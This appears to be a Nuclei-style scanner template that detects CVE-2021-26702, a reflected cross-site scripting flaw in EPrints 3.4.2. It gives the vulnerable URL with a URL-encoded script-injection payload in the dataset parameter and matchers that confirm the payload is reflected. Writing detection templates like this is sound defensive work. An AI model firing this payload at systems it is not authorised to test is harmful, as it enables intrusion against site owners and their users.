47 lines
1.5 KiB
YAML
47 lines
1.5 KiB
YAML
id: CVE-2021-26702
|
|
|
|
info:
|
|
name: EPrints 3.4.2 - Cross-Site Scripting
|
|
author: ritikchaddha
|
|
severity: medium
|
|
description: EPrints 3.4.2 contains a reflected cross-site scripting vulnerability in the dataset parameter to the cgi/dataset_ dictionary URI.
|
|
remediation: |
|
|
Apply the latest security patches or upgrade to a newer version of EPrints that addresses this vulnerability.
|
|
reference:
|
|
- https://github.com/grymer/CVE/blob/master/eprints_security_review.pdf
|
|
- https://files.eprints.org/2548/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-26702
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-26702
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00187
|
|
epss-percentile: 0.55904
|
|
cpe: cpe:2.3:a:eprints:eprints:3.4.2:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: eprints
|
|
product: eprints
|
|
tags: cve,cve2021,xss,eprints
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/cgi/dataset_dictionary?dataset=zulu%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "</script><script>alert(document.domain)</script>"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a004730450221008faaa5cdb09ffb5ad3f6c5c10d927d2dc9f7b230aa8ea3f82c13b97a1026eb4b02200ceb1325ff0399cd9a5ea637ac89bc9b993f4573fde03f10f0a53a1bb0506f8d:922c64590222798bb761d5b6d8e72950 |